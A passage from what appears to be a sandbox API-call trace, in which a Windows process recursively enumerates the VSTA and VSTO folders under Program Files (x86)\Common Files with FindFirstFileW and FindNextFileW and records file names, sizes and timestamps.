ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x587bad70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69b68150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MI41FD~1.DLL")) returned 1 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69b68150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MI41FD~1.DLL")) returned 0 [0245.795] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0245.796] GetProcessHeap () returned 0x550000 [0245.796] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0245.796] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1 [0245.796] GetProcessHeap () returned 0x550000 [0245.796] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0245.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0246.479] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.479] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0246.480] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x7fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0246.480] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0246.480] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0246.480] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0246.481] GetProcessHeap () returned 0x550000 [0246.481] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0246.481] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1 [0246.481] GetProcessHeap () returned 0x550000 [0246.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0246.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0246.707] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.707] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd31a54c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0246.707] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0246.707] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0246.708] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x52328bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0246.708] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x52328bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0246.708] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0246.709] GetProcessHeap () returned 0x550000 [0246.709] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0246.709] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1 [0246.748] GetProcessHeap () returned 0x550000 [0246.748] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0246.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0246.873] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.873] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5f9dda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x89b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="MIE07F~1.DLL")) returned 1 [0246.874] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5eb9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x12fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0246.874] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xf7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0246.874] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5eb9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0246.874] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5edf6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0246.874] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5edf6c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x147b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0246.874] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0246.875] GetProcessHeap () returned 0x550000 [0246.875] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0246.875] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed38dba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x6192a2b0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xed4e4800, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1 [0246.875] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed38dba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x6192a2b0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xed4e4800, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 0 [0246.875] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0246.875] GetProcessHeap () returned 0x550000 [0246.875] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0246.880] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 0 [0246.880] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0246.880] GetProcessHeap () returned 0x550000 [0246.880] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0246.880] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0246.880] GetProcessHeap () returned 0x550000 [0246.880] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0246.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0247.099] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.099] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0247.099] GetProcessHeap () returned 0x550000 [0247.099] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0247.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0247.210] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.210] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0247.210] GetProcessHeap () returned 0x550000 [0247.210] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0247.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft 